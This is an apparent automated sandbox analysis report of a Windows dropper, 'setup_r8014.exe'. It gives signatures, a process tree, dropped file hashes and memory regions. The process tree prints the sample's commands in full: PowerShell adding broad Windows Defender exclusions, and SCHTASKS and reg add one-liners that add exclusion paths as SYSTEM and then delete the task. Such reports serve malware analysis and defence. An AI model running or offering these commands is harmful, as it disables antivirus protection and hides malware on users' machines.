Analysis

  • max time kernel
    151s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/08/2026, 10:34

General

  • Target
    setup_r8014.exe
  • Size 40.9MB
  • Sample260811-ml7fdaxtew
  • SHA256 095cb467949419c086ccb4c0a125a923b7f1c12b37f70c3b82a227c19af56bc6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1116
  • C:\Users\Public\4M4dQd\flrlQ5.exe
    "C:\Users\Public\4M4dQd\flrlQ5.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:6652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5324
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4M4dQd\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5108
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4M4dQd\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2916
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:768
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4104
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4868
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1568
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1868
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1340
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4656
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:7028
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:600
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1136
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3288
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2752
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3844
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:6316
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1096
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1552
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3472
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3684
                      • C:\Users\Public\4M4dQd\flrlQ5.exe
                        "C:\Users\Public\4M4dQd\flrlQ5.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2672
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4M4dQd" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1068
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4M4dQd" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:6992
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4924
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:436
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2428
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4612
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6472

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 1KB
                              • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                              • MD5 SHA1 SHA512 TLSH

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 186B
                              • SHA256 78ddfab4e55cb3068bc7b33943f80144ae8721689135a5179979ac97ca8b039d
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\4M4dQd\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 24ddef4241682c9182ebb4d793c900a8cd2e63a69c92813b2f2c1679e65b74cc
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\4M4dQd\adoresd.dat
                              • Size 4.7MB
                              • SHA256 30e474ebfc1df5d0d3a5151c78b35d443cf2c599760620e9fa7fed928545506b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              flrlQ5.exe

                              • Path C:\Users\Public\4M4dQd\flrlQ5.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\4M4dQd\msadox.tb
                              • Size 8KB
                              • SHA256 92dd298d8812d3d99daf5709e5ad051d5868013bf04c9e70d90495db40b8f3f2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1116-1-0x00000000048D0000-0x00000000048DD000-memory.dmp

                              memory/1116-2-0x00000000048E0000-0x00000000048EB000-memory.dmp

                              memory/1116-504-0x00007FFBC9D20000-0x00007FFBC9D32000-memory.dmp

                              memory/1116-524-0x00000000048D0000-0x00000000048DD000-memory.dmp

                              memory/1116-525-0x00007FFBC9D20000-0x00007FFBC9D32000-memory.dmp

                              memory/1116-0-0x00000000048D0000-0x00000000048DD000-memory.dmp

                              memory/2672-581-0x000001848D580000-0x000001848DE11000-memory.dmp

                              memory/2672-572-0x00007FFBB5D20000-0x00007FFBB623E000-memory.dmp

                              memory/2672-585-0x000001848D580000-0x000001848DE11000-memory.dmp

                              memory/2672-587-0x000001848D580000-0x000001848DE11000-memory.dmp

                              memory/2672-588-0x000001848D580000-0x000001848DE11000-memory.dmp

                              memory/2672-589-0x00007FFBD8910000-0x00007FFBD8912000-memory.dmp

                              memory/2672-586-0x000001848D580000-0x000001848DE11000-memory.dmp

                              memory/2672-580-0x00007FFBD8920000-0x00007FFBD8922000-memory.dmp

                              memory/2672-578-0x000001848D580000-0x000001848DE11000-memory.dmp

                              memory/5324-607-0x0000020C590E0000-0x0000020C590EA000-memory.dmp

                              memory/5324-604-0x0000020C59320000-0x0000020C593D2000-memory.dmp

                              memory/5324-603-0x0000020C590F0000-0x0000020C5910E000-memory.dmp

                              memory/5324-598-0x0000020C59050000-0x0000020C59072000-memory.dmp

                              memory/6652-556-0x0000029B15310000-0x0000029B1535E000-memory.dmp

                              memory/6652-559-0x0000029B16630000-0x0000029B166BA000-memory.dmp

                              memory/6652-567-0x0000029B15D90000-0x0000029B16621000-memory.dmp

                              memory/6652-536-0x0000029B15D90000-0x0000029B16621000-memory.dmp

                              memory/6652-564-0x0000029B15D90000-0x0000029B16621000-memory.dmp

                              memory/6652-531-0x00007FFBB5D20000-0x00007FFBB623E000-memory.dmp

                              memory/6652-558-0x0000029B16630000-0x0000029B166BA000-memory.dmp

                              memory/6652-560-0x0000029B16630000-0x0000029B166BA000-memory.dmp

                              memory/6652-530-0x00007FFBD8910000-0x00007FFBD8912000-memory.dmp

                              memory/6652-566-0x0000029B15D90000-0x0000029B16621000-memory.dmp

                              memory/6652-561-0x0000029B16630000-0x0000029B166BA000-memory.dmp

                              memory/6652-538-0x00007FFBD8920000-0x00007FFBD8922000-memory.dmp

                              memory/6652-550-0x0000029B15D90000-0x0000029B16621000-memory.dmp

                              memory/6652-546-0x0000029B15D90000-0x0000029B16621000-memory.dmp

                              memory/6652-545-0x0000029B15D90000-0x0000029B16621000-memory.dmp

                              memory/6652-544-0x0000029B15D90000-0x0000029B16621000-memory.dmp

                              memory/6652-543-0x0000029B15D90000-0x0000029B16621000-memory.dmp

                              memory/6652-606-0x0000029B15D90000-0x0000029B16621000-memory.dmp

                              memory/6652-539-0x0000029B15D90000-0x0000029B16621000-memory.dmp